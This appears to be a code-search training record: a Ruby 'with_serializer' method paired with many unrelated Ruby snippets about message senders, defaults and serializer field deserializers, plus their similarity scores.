"def to *receivers\n @current.callback = lambda do |o, has|\n receivers.each &has.method.with(o, *has.args, &has.block); o\n end\n self\n end",
"def sender\n user = User.find_by_id(sent_by)\n \"#{user.first_name} #{user.last_name}\"\n end",
"def send_targets &block\n\t\t\ttargets = @rate_targets.to_a\n\t\t\t@rate_targets.clear\n\n\t\t\treturn if targets.empty?\n\n\t\t\ttarget, cbs = targets.shift\n\n\t\t\ttarget_cb = proc {|status, result|\n\n\t\t\t\tcbs.each do |cb|\n\t\t\t\t\tbegin\n\t\t\t\t\t\tcb.call status, result if cb\n\t\t\t\t\trescue => e\n\t\t\t\t\t\tlog_e e, \"Error notifying rate limited target #{t} callback #{cb.inspect}\"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\ttarget, cbs = targets.shift\n\n\t\t\t\tif target\n\t\t\t\t\tlog \"Sending subsequent target #{target}\" # XXX\n\t\t\t\t\ttarget.send_changes &target_cb\n\t\t\t\telse\n\t\t\t\t\tyield if block_given?\n\t\t\t\tend\n\t\t\t}\n\n\t\t\tlog \"Sending first target #{target}\" # XXX\n\t\t\ttarget.send_changes &target_cb\n\t\tend",
"def with(current_user)\n \tsender == current_user ? recipient : sender\n\tend",
"def sender\n @payload['sender']\n end",
"def sender\r\n SenderController.instance\r\n end",
"def send_an_email\r\n SendEmails.new(1)\r\n end",
"def send_action &block\n @actions[:send] = block\n end",
"def peers_send(peers,message)\r\n\t\t\tpeers.each{|peer|\r\n\t\t\t\tsend_peer(peer,message)\r\n\t\t\t}\r\n\t\tend",
"def send_one_by_one!(recipients)\n recipients.each do |recipient|\n message_data = message_data([recipient])\n responses << @mandrill.messages.send_template(template, recipient.custom_html_data, message_data)\n end\n responses\n end",
"def sender_name\n @stanza.from.resource\n end",
"def default\n # create default action for emails from valid users.\n Mailman.logger.info 'Message matched the default route. Message ignored'\n end",
"def on_sendable(sender)\n # While sender credit is available\n # and number of sent messages is less than count\n while (sender.credit > 0) && (@sent < @count)\n # Create new message\n msg = Qpid::Proton::Message.new\n # If message content is set\n if @msg_content\n # If message content is string and contains formatting part\n if @msg_content.is_a? String and @msg_content =~ /%[0-9]*d/\n # Format message content with number of sent messages\n msg.body = sprintf(@msg_content, @sent)\n else\n # Set message content as it is\n msg.body = @msg_content\n end\n end # if\n # Set message durability\n msg.durable = @msg_durable\n # Set message TTL (ms)\n msg.ttl = @msg_ttl\n # If message correlation ID is set\n if @msg_correlation_id\n msg.correlation_id = @msg_correlation_id\n end # if\n # Set reply to address\n msg.reply_to = @msg_reply_to\n # If message group ID is set\n if @msg_group_id\n msg.group_id = @msg_group_id\n end\n # Send message\n sender.send(msg)\n # Increase number of sent messages\n @sent = @sent + 1\n if @log_msgs == \"body\"\n Formatters::BasicFormatter.new(msg).print\n elsif @log_msgs == \"dict\"\n Formatters::DictFormatter.new(msg).print\n end\n end # while\n end",
"def accessSenderPlugin\n # Get the name of the Sender plugin\n lMatch = self.class.to_s.match(/^WEACE::Test::Master::Senders::(.*)$/)\n if (lMatch == nil)\n log_err \"Class #{self.class} does not have format /^WEACE::Test::Master::Senders::(.*)$/.\"\n else\n lProcessName = lMatch[1]\n require \"WEACEToolkit/Master/Server/Senders/#{lProcessName}\"\n lSenderPlugin = eval(\"WEACE::Master::Server::Senders::#{lProcessName}.new\")\n yield(lSenderPlugin)\n end\n end",
"def sender\n return @sender\n end",
"def sender\n return @sender\n end",
"def receiver\n users[0].id.eql?(sent_by) ? users[1] : users[0]\n end",
"def sender\n @payload[:sender]\n end",
"def default(default_val = nil, &block)\n block = block_from_args(default_val, block, false)\n default_val = ::Aggrobot.start(collection, &block) if block\n @top_level_object = default_val\n end",
"def configure()\n yield(configuration)\n self.sender = Sender.new(configuration)\n self.sender\n end",
"def initialize\n @mailers = {}\n\n self.namespace = Object\n self.root = DEFAULT_ROOT\n self.delivery_method = DEFAULT_DELIVERY_METHOD\n self.default_charset = DEFAULT_CHARSET\n\n yield(self) if block_given?\n @finder = TemplatesFinder.new(root)\n end",
"def sendMail(sender, receiver)\n self.source = sender\n sender.sent << self\n self.target = receiver\n receiver.inbox << self\n self.created_at = DateTime.now\n self.save\n end",
"def senders_for_test_account account\n senders = []\n if test_mode_on?\n Conf.test.each do |v|\n if v.is_a?(Hash) && v.keys.include?(account)\n senders.concat v[account]\n end\n end\n end\n senders.empty? ? nil : senders\n end",
"def default_sender_address\n address = Mail::Address.new(Gitlab.config.gitlab.email_from)\n address.display_name = \"GitLab\"\n address\n end",
"def msSenderName\n senders = Hash.new\n sql = \"SELECT * from _senders\"\n url = OConfig.RESULT_SERVICE\n url = url + \"/queryDatabase?format=csv&query=#{URI.escape(sql)}\"+\n \"&expID=#{URI.escape(Experiment.ID,'+')}\"\n resp = NodeHandler.service_call(url, \"Can't query result service\")\n resp.body.each_line do |l|\n name, id = l.split(';')\n senders[id.strip.to_i] = name.strip\n end\n senders\n end",
"def mk_sender\n [\"-- \", \"Med kærlig hilsen, \", \"Med venlig hilsen, \", \"MVH, \", \"Hilsen \"].sample + \"Nikolaj Lepka\\n\" +\n \"Telefon: 25 14 66 83\\n\" +\n \"Email: [email protected]\\n\" +\n \"Github: https://github.com/ElectricCoffee\\n\" +\n \"Twitter: https://twitter.com/Electric_Coffee\\n\\n\"\n end",
"def reply_to_sender(delivery, reply_body, subject = nil)\n return reply(delivery.conversation, delivery.message.sender, reply_body, subject)\n end",
"def index\n @sends = Send.all\n end",
"def send(message)\n ## empty\n end",
"def send(*rest) end",
"def send(*rest) end",
"def send(*rest) end",
"def default_queue\n @queues[nil]\n end",
"def assemble_collection_specific\n # TODO custom field text_type_k\n @json[\"sender_k\"] = get_text(@xpaths[\"sender\"])\n end",
"def setsender(msgid, sender)\n req(\"setsender\", \"\", sender, msgid, \"\")\n end",
"def register_into(bot, send_as: :bots, starter: true)\n bot.use Peribot::GroupMe::ImagePostprocessor\n\n case send_as\n when :bots\n bot.use Peribot::GroupMe::BotFilter\n bot.use Peribot::GroupMe::BotSender\n when :user\n bot.use Peribot::GroupMe::UserSender\n bot.use Peribot::GroupMe::UserLikeSender\n end\n\n register_groupme_starter_for bot if starter\n end",
"def the_sender_name\n sender.full_name(false, created_at)\n end",
"def send_to_admins(sender, subject, text, options={})\n orig_options = options\n options = {\n :sender => sender,\n :subject => subject,\n :text => text\n }\n options.merge!(orig_options)\n message = create_java_message(options)\n convert_mail_exceptions { service.send_to_admins(message) }\n end",
"def uses_messenger(messenger)\n @@default_messenger = messenger\n end",
"def on_sendable(sender)\n if @duration.zero? # Send immediately\n send(sender) while (sender.credit > 0) && (@sent < @count)\n elsif (sender.credit > 0) && (@sent < @count) && !@scheduled # Schedule to send after delay\n @scheduled = true\n c = sender.connection.container\n c.schedule(delay) do\n send(sender)\n @scheduled = false # Need to re-schedule for another send\n end\n end\n end",
"def send_message(email, sender, *to_addrs)\n MockData[:email], MockData[:sender], MockData[:receivers] = email, sender, to_addrs\n end",
"def send(recipients, message)\n players[:x].print(message) if recipients.include? :x\n players[:o].print(message) if recipients.include? :o\n print message if recipients.include? :term and send_output_to_terminal\n end",
"def default\n # setup default configuration\n @code_send_repeats = 10\n self.set_timer( frequency: 36_000, duty: 0.45 )\n self.indicator = false\n self.broadcasting_gap = 0.1 # seconds between each pulse\n usb_set_indicator_as_debug_light( wValue: 0 ) # turn off debugging light mode\n self # return self for nifty chaining\n end",
"def sender\n begin\n User.cached_find(self.sender_id)\n rescue\n nil\n end\n end",
"def recipient\n case self.class.to_s\n when \"Survey\"\n giver\n when \"User\"\n self\n else\n raise 'Not implemented.'\n end\n end",
"def send_message\n send unless SuppressionList.include?(receiver)\n end",
"def last_sender\n @last_sender = self.last_message.sender if @last_sender.nil?\n return @last_sender\n end",
"def sendout\n # do tricky HL7 and PIT stuff with narrative\n for recipient in self.user.interested_parties\n if recipient.wedgetail != created_by # don't sent back to original sender\n # do tricky encryption and email stuff for recipient\n om = OutgoingMessage.new(:recipient_id=>recipient.wedgetail)\n self.outgoing_messages << om\n om.sendout recipient\n om.save!\n end\n end\n end",
"def realtime_sender() \n loop {\n @sender_plugin.send_data(@data.pop)\n }\n end",
"def default_collector\n self[:default]\n end",
"def sent_to(data=nil)\n set_get __method__, data\n end"
] | [
"0.58353436",
"0.5625418",
"0.5541682",
"0.5235673",
"0.51894987",
"0.51528424",
"0.50905895",
"0.49670786",
"0.49186933",
"0.48993397",
"0.48663807",
"0.47969902",
"0.47824597",
"0.4759193",
"0.4744056",
"0.47337726",
"0.4699888",
"0.4689409",
"0.46804526",
"0.46086746",
"0.4606937",
"0.45897862",
"0.45794722",
"0.45638305",
"0.45638305",
"0.45404914",
"0.4530347",
"0.45156544",
"0.4511947",
"0.44979858",
"0.44786918",
"0.44779846",
"0.44553706",
"0.44519335",
"0.44463772",
"0.44434804",
"0.4443437",
"0.44375753",
"0.44375753",
"0.44209418",
"0.44086662",
"0.4397024",
"0.43732917",
"0.43694925",
"0.4365641",
"0.43605328",
"0.4348507",
"0.43473983",
"0.4333686",
"0.4331997",
"0.43315184",
"0.43258673",
"0.43145692",
"0.43058324",
"0.4302944",
"0.42952684",
"0.42895022",
"0.42867854",
"0.42252165",
"0.4219897",
"0.4218515",
"0.42125437",
"0.42121464",
"0.42046294",
"0.42046294",
"0.42032334",
"0.41969344",
"0.41749558",
"0.4174657",
"0.4166501",
"0.41650206",
"0.41634634",
"0.41615003",
"0.41536015",
"0.41525024",
"0.4142309",
"0.41396824",
"0.41368228",
"0.4134241",
"0.4134241",
"0.4134241",
"0.41307417",
"0.41307193",
"0.41195014",
"0.410615",
"0.41046628",
"0.41037732",
"0.41001007",
"0.40981144",
"0.40917012",
"0.40899843",
"0.40899342",
"0.4089527",
"0.40889296",
"0.40785965",
"0.40773907",
"0.40760648",
"0.40684474",
"0.40648425",
"0.40625516"
] | 0.42956883 | 55 |
Changes the Serializer from the default. Returns self to accommodate method chaining. | def with_serializer(serializer)
@serializer = serializer
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def serializers\n self._additional_serializers # standard:disable Style/RedundantSelf\n end",
"def serializer\n return @serializer if defined?(@serializer)\n\n _serializer = injected_options.fetch(:serializer, serializer_class)\n\n @serializer = instantiated_serializer_for(_serializer)\n end",
"def use_serializer(serializer)\n @serializer = serializer\n end",
"def _serializer(name)\n self.class.send(:_serializer, name)\n end",
"def set_serializer(self_class, serializer_class)\n self_class.instance_variable_set(SERIALIZER_CLASS, serializer_class)\n end",
"def serialize(serializer = nil, options = {})\n serializer ||= self.class::DEFAULT_SERIALIZER\n serializer.new(self, options: options).attributes\n end",
"def with_serializer(object, serializer); end",
"def _serializer(name)\n type = types[name]\n # flatten and cache all the serializers up the tree\n @_serializers ||= all_ancestors(serializers(nil)).reverse.reduce(&:merge)\n @_serializers[name] || @_serializers[type] || ( serializers(base)[type] ||= Serializer.default(type) if type )\n end",
"def serializer=(value)\n PaperTrail.config.serializer = value\n end",
"def default_serializer_options\n {root: false}\n end",
"def get_field_deserializers()\n return super.merge({\n })\n end",
"def get_field_deserializers()\n return super.merge({\n })\n end",
"def get_field_deserializers()\n return super.merge({\n })\n end",
"def encode\n raise Errors::SerializerNotConfigured if serializer_missing?\n\n serializer.encode(self)\n end",
"def serializer(params = {})\n self.class.serializer_class.new(self, params:)\n end",
"def default_serializer_options\n { user_id: user_id }.merge(super)\n end",
"def freeze\n @original_deserialized_values ||= {}\n @original_deserialized_values.freeze\n super\n end",
"def default_serializer_options\n {\n root: false,\n }\n end",
"def freeze\n deserialized_values.freeze\n super\n end",
"def default_serializer_options\n {\n root: false\n }\n end",
"def serializer=(serializer) # :nodoc:\n @serializer = serializer\n serializer_methods = serializer::SerializerMethods\n for const in serializer_methods.constants\n klass = deep_const_get(const)\n modul = serializer_methods.const_get(const)\n klass.class_eval do\n instance_methods(false).each do |m|\n m.to_s == 'to_amf' and remove_method m\n end\n include modul\n end\n end\n self.serializer_state = serializer::State\n const_set :SerializerState, self.serializer_state\n end",
"def serializers\n @serializers ||= Readthis::Serializers.new\n end",
"def serialize(method = :to_json)\n super\n end",
"def serializer(name)\n @_serializer = name <= Malba::Serializer ? name : nil\n end",
"def default_serializer_options\n {root: false}\n end",
"def default_serializer_options\n {root: false}\n end",
"def default_serializer_options\n { root: false }\n end",
"def default_serializer_options\r\n\t\t{root: false}\r\n\tend",
"def serializer(klass)\n @objects_serializer = klass\n end",
"def serialization_options\n @serialization_options || self.class.serialization_options || self.class.superclass.serialization_options\n end",
"def get_field_deserializers()\n return super.merge({\n \"amazonAccountId\" => lambda {|n| @amazon_account_id = n.get_string_value() },\n \"amazonResourceId\" => lambda {|n| @amazon_resource_id = n.get_string_value() },\n \"resourceName\" => lambda {|n| @resource_name = n.get_string_value() },\n \"resourceType\" => lambda {|n| @resource_type = n.get_string_value() },\n })\n end",
"def serialize_default(object); object; end",
"def active_model_serializer\n self.tire_active_model_serializer || self.class.active_model_serializer\n end",
"def serializer=(_arg0); end",
"def get_field_deserializers()\n return super.merge({\n \"isDefault\" => lambda {|n| @is_default = n.get_boolean_value() },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"locale\" => lambda {|n| @locale = n.get_string_value() },\n \"messageTemplate\" => lambda {|n| @message_template = n.get_string_value() },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n })\n end",
"def initialize(column_serializer: shrine_class.opts[:column][:serializer], **options)\n super(**options)\n @column_serializer = column_serializer\n end",
"def initialize(column_serializer: shrine_class.opts[:column][:serializer], **options)\n super(**options)\n @column_serializer = column_serializer\n end",
"def refresh\n @deserialized_values = {}\n super\n end",
"def serializer; end",
"def serialize(with: nil)\n serializer = case with\n when nil\n @_serializer || empty_serializer\n when ->(obj) { obj.is_a?(Class) && obj <= Malba::Serializer }\n with\n when Proc\n inline_extended_serializer(with)\n else\n raise ArgumentError, 'Unexpected type for with, possible types are Class or Proc'\n end\n serializer.new(self).serialize\n end",
"def serializer_for(renderable, options = {})\n serializer_by_options(options) || serializer_by_renderable(renderable)\n end",
"def get_field_deserializers()\n return super.merge({\n \"resourceId\" => lambda {|n| @resource_id = n.get_string_value() },\n \"resourceName\" => lambda {|n| @resource_name = n.get_string_value() },\n \"resourceType\" => lambda {|n| @resource_type = n.get_string_value() },\n })\n end",
"def to_json(options = {})\n super(self.class.serialize_options_update(options))\n end",
"def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"deviceId\" => lambda {|n| @device_id = n.get_string_value() },\n \"key\" => lambda {|n| @key = n.get_string_value() },\n \"volumeType\" => lambda {|n| @volume_type = n.get_enum_value(MicrosoftGraph::Models::VolumeType) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"connectorServerName\" => lambda {|n| @connector_server_name = n.get_string_value() },\n \"exchangeAlias\" => lambda {|n| @exchange_alias = n.get_string_value() },\n \"exchangeConnectorType\" => lambda {|n| @exchange_connector_type = n.get_enum_value(MicrosoftGraph::Models::DeviceManagementExchangeConnectorType) },\n \"exchangeOrganization\" => lambda {|n| @exchange_organization = n.get_string_value() },\n \"lastSyncDateTime\" => lambda {|n| @last_sync_date_time = n.get_date_time_value() },\n \"primarySmtpAddress\" => lambda {|n| @primary_smtp_address = n.get_string_value() },\n \"serverName\" => lambda {|n| @server_name = n.get_string_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::DeviceManagementExchangeConnectorStatus) },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"appId\" => lambda {|n| @app_id = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"objectId\" => lambda {|n| @object_id_escaped = n.get_string_value() },\n \"publisher\" => lambda {|n| @publisher = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"platformType\" => lambda {|n| @platform_type = n.get_enum_value(MicrosoftGraph::Models::PolicyPlatformType) },\n \"settingCount\" => lambda {|n| @setting_count = n.get_number_value() },\n \"settingStates\" => lambda {|n| @setting_states = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::DeviceCompliancePolicySettingState.create_from_discriminator_value(pn) }) },\n \"state\" => lambda {|n| @state = n.get_enum_value(MicrosoftGraph::Models::ComplianceStatus) },\n \"version\" => lambda {|n| @version = n.get_number_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"isDefault\" => lambda {|n| @is_default = n.get_boolean_value() },\n \"links\" => lambda {|n| @links = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionLinks.create_from_discriminator_value(pn) }) },\n \"pages\" => lambda {|n| @pages = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::OnenotePage.create_from_discriminator_value(pn) }) },\n \"pagesUrl\" => lambda {|n| @pages_url = n.get_string_value() },\n \"parentNotebook\" => lambda {|n| @parent_notebook = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Notebook.create_from_discriminator_value(pn) }) },\n \"parentSectionGroup\" => lambda {|n| @parent_section_group = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionGroup.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"resource\" => lambda {|n| @resource = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Entity.create_from_discriminator_value(pn) }) },\n \"resourceReference\" => lambda {|n| @resource_reference = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResourceReference.create_from_discriminator_value(pn) }) },\n \"resourceVisualization\" => lambda {|n| @resource_visualization = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResourceVisualization.create_from_discriminator_value(pn) }) },\n \"weight\" => lambda {|n| @weight = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end",
"def serializer_class\n \"#{self.class.to_s}Serializer\".constantize\n end",
"def get_field_deserializers()\n return super.merge({\n \"applicationName\" => lambda {|n| @application_name = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"externalId\" => lambda {|n| @external_id = n.get_string_value() },\n \"webUrl\" => lambda {|n| @web_url = n.get_string_value() },\n })\n end",
"def inherited(subclass)\n super\n opts = {}\n json_serializer_opts.each{|k, v| opts[k] = (v.is_a?(Array) || v.is_a?(Hash)) ? v.dup : v}\n subclass.instance_variable_set(:@json_serializer_opts, opts)\n end",
"def get_serializer_class\n return self.class.serializer_class\n end",
"def get_field_deserializers()\n return super.merge({\n \"certificate\" => lambda {|n| @certificate = n.get_string_value() },\n \"printer\" => lambda {|n| @printer = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Printer.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"configurationVersion\" => lambda {|n| @configuration_version = n.get_number_value() },\n \"errorCount\" => lambda {|n| @error_count = n.get_number_value() },\n \"failedCount\" => lambda {|n| @failed_count = n.get_number_value() },\n \"lastUpdateDateTime\" => lambda {|n| @last_update_date_time = n.get_date_time_value() },\n \"notApplicableCount\" => lambda {|n| @not_applicable_count = n.get_number_value() },\n \"pendingCount\" => lambda {|n| @pending_count = n.get_number_value() },\n \"successCount\" => lambda {|n| @success_count = n.get_number_value() },\n })\n end",
"def serialized\n serializer_class.new(self).serializable_hash\n end",
"def get_field_deserializers()\n return super.merge({\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"dataType\" => lambda {|n| @data_type = n.get_string_value() },\n \"isSyncedFromOnPremises\" => lambda {|n| @is_synced_from_on_premises = n.get_boolean_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"targetObjects\" => lambda {|n| @target_objects = n.get_collection_of_primitive_values(String) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"approvalId\" => lambda {|n| @approval_id = n.get_string_value() },\n \"completedDateTime\" => lambda {|n| @completed_date_time = n.get_date_time_value() },\n \"createdBy\" => lambda {|n| @created_by = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::IdentitySet.create_from_discriminator_value(pn) }) },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"customData\" => lambda {|n| @custom_data = n.get_string_value() },\n \"status\" => lambda {|n| @status = n.get_string_value() },\n })\n end",
"def inherited(subclass)\n object_alias = subclass.name.demodulize.chomp('Serializer').underscore\n subclass.object_as(object_alias) unless method_defined?(object_alias)\n super\n end",
"def get_field_deserializers()\n return super.merge({\n \"audioDeviceName\" => lambda {|n| @audio_device_name = n.get_string_value() },\n \"bookingType\" => lambda {|n| @booking_type = n.get_enum_value(MicrosoftGraph::Models::BookingType) },\n \"building\" => lambda {|n| @building = n.get_string_value() },\n \"capacity\" => lambda {|n| @capacity = n.get_number_value() },\n \"displayDeviceName\" => lambda {|n| @display_device_name = n.get_string_value() },\n \"emailAddress\" => lambda {|n| @email_address = n.get_string_value() },\n \"floorLabel\" => lambda {|n| @floor_label = n.get_string_value() },\n \"floorNumber\" => lambda {|n| @floor_number = n.get_number_value() },\n \"isWheelChairAccessible\" => lambda {|n| @is_wheel_chair_accessible = n.get_boolean_value() },\n \"label\" => lambda {|n| @label = n.get_string_value() },\n \"nickname\" => lambda {|n| @nickname = n.get_string_value() },\n \"tags\" => lambda {|n| @tags = n.get_collection_of_primitive_values(String) },\n \"videoDeviceName\" => lambda {|n| @video_device_name = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"completedDateTime\" => lambda {|n| @completed_date_time = n.get_date_time_value() },\n \"progress\" => lambda {|n| @progress = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::DataPolicyOperationStatus) },\n \"storageLocation\" => lambda {|n| @storage_location = n.get_string_value() },\n \"submittedDateTime\" => lambda {|n| @submitted_date_time = n.get_date_time_value() },\n \"userId\" => lambda {|n| @user_id = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"certificateData\" => lambda {|n| @certificate_data = n.get_string_value() },\n \"developerId\" => lambda {|n| @developer_id = n.get_string_value() },\n \"keyId\" => lambda {|n| @key_id = n.get_string_value() },\n \"serviceId\" => lambda {|n| @service_id = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"capability\" => lambda {|n| @capability = n.get_string_value() },\n \"providerId\" => lambda {|n| @provider_id = n.get_string_value() },\n \"providerName\" => lambda {|n| @provider_name = n.get_string_value() },\n \"providerResourceId\" => lambda {|n| @provider_resource_id = n.get_string_value() },\n \"uri\" => lambda {|n| @uri = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"license\" => lambda {|n| @license = n.get_string_value() },\n \"licenseType\" => lambda {|n| @license_type = n.get_enum_value(MicrosoftGraph::Models::EditionUpgradeLicenseType) },\n \"productKey\" => lambda {|n| @product_key = n.get_string_value() },\n \"targetEdition\" => lambda {|n| @target_edition = n.get_enum_value(MicrosoftGraph::Models::Windows10EditionType) },\n })\n end",
"def serializer_class\n BudgetSerializer\n end",
"def render(options)\n # Get the renderable (Object that should be rendered) from options hash.\n renderable = options[:json]\n\n # Return if renderable is blank\n return options unless renderable\n\n # Try to fetch the right serializer for given renderable.\n serializer = serializer_for(renderable, options)\n\n # When no serializer is found just pass the original options hash.\n return options unless serializer\n\n # Replace json value with new serializer\n options.merge(json: serializer.new(renderable, options))\n end",
"def get_field_deserializers()\n return super.merge({\n \"clientId\" => lambda {|n| @client_id = n.get_string_value() },\n \"consentType\" => lambda {|n| @consent_type = n.get_string_value() },\n \"principalId\" => lambda {|n| @principal_id = n.get_string_value() },\n \"resourceId\" => lambda {|n| @resource_id = n.get_string_value() },\n \"scope\" => lambda {|n| @scope = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"comment\" => lambda {|n| @comment = n.get_string_value() },\n \"createdBy\" => lambda {|n| @created_by = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::IdentitySet.create_from_discriminator_value(pn) }) },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"items\" => lambda {|n| @items = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::DocumentSetVersionItem.create_from_discriminator_value(pn) }) },\n \"shouldCaptureMinorVersion\" => lambda {|n| @should_capture_minor_version = n.get_boolean_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"audiences\" => lambda {|n| @audiences = n.get_collection_of_primitive_values(String) },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"issuer\" => lambda {|n| @issuer = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n })\n end",
"def serialize_default(object)\n mongoize(object)\n end",
"def get_field_deserializers()\n return super.merge({\n \"contractType\" => lambda {|n| @contract_type = n.get_string_value() },\n \"customerId\" => lambda {|n| @customer_id = n.get_guid_value() },\n \"defaultDomainName\" => lambda {|n| @default_domain_name = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n })\n end",
"def set_default_format\n request.format = :json\n end",
"def get_field_deserializers()\n return super.merge({\n \"endDateTime\" => lambda {|n| @end_date_time = n.get_date_time_value() },\n \"simulationId\" => lambda {|n| @simulation_id = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::SimulationAutomationRunStatus) },\n })\n end",
"def reset_format!\n self.format = @default_format\n end",
"def get_serializer_class\n return self.class.serializer_class || RESTFramework::NativeSerializer\n end",
"def get_field_deserializers()\n return super.merge({\n \"downloadUri\" => lambda {|n| @download_uri = n.get_string_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"fulfilledDateTime\" => lambda {|n| @fulfilled_date_time = n.get_date_time_value() },\n \"reviewHistoryPeriodEndDateTime\" => lambda {|n| @review_history_period_end_date_time = n.get_date_time_value() },\n \"reviewHistoryPeriodStartDateTime\" => lambda {|n| @review_history_period_start_date_time = n.get_date_time_value() },\n \"runDateTime\" => lambda {|n| @run_date_time = n.get_date_time_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::AccessReviewHistoryStatus) },\n })\n end",
"def to_s\n Forme.transform(:serializer, @opts, @form.opts, self)\n end",
"def with_resource(resource)\n @resource = resource\n remove_instance_variable(:@serializer) if defined?(@serializer)\n clean_volatile_properties!\n\n self\n end",
"def get_field_deserializers()\n return super.merge({\n \"distributeForStudentWork\" => lambda {|n| @distribute_for_student_work = n.get_boolean_value() },\n \"resource\" => lambda {|n| @resource = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::EducationResource.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"device\" => lambda {|n| @device = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Device.create_from_discriminator_value(pn) }) },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"keyStrength\" => lambda {|n| @key_strength = n.get_enum_value(MicrosoftGraph::Models::AuthenticationMethodKeyStrength) },\n })\n end",
"def force(new_format)\r\n @format = new_format\r\n self\r\n end",
"def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"templateId\" => lambda {|n| @template_id = n.get_string_value() },\n \"values\" => lambda {|n| @values = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::SettingValue.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"clientContext\" => lambda {|n| @client_context = n.get_string_value() },\n \"resultInfo\" => lambda {|n| @result_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResultInfo.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::OperationStatus) },\n })\n end",
"def inherited(subclass)\n super\n\n subclass.serialization.replace serialization\n subclass.fields.replace fields\n end",
"def get_field_deserializers()\n return super.merge({\n \"self\" => lambda {|n| @self_escaped = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"acceptedDateTime\" => lambda {|n| @accepted_date_time = n.get_date_time_value() },\n \"acceptedVersion\" => lambda {|n| @accepted_version = n.get_number_value() },\n \"termsAndConditions\" => lambda {|n| @terms_and_conditions = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::TermsAndConditions.create_from_discriminator_value(pn) }) },\n \"userDisplayName\" => lambda {|n| @user_display_name = n.get_string_value() },\n \"userPrincipalName\" => lambda {|n| @user_principal_name = n.get_string_value() },\n })\n end",
"def reset\n merge_attributes(@parent) if @parent\n merge_attributes(@attributes)\n self\n end",
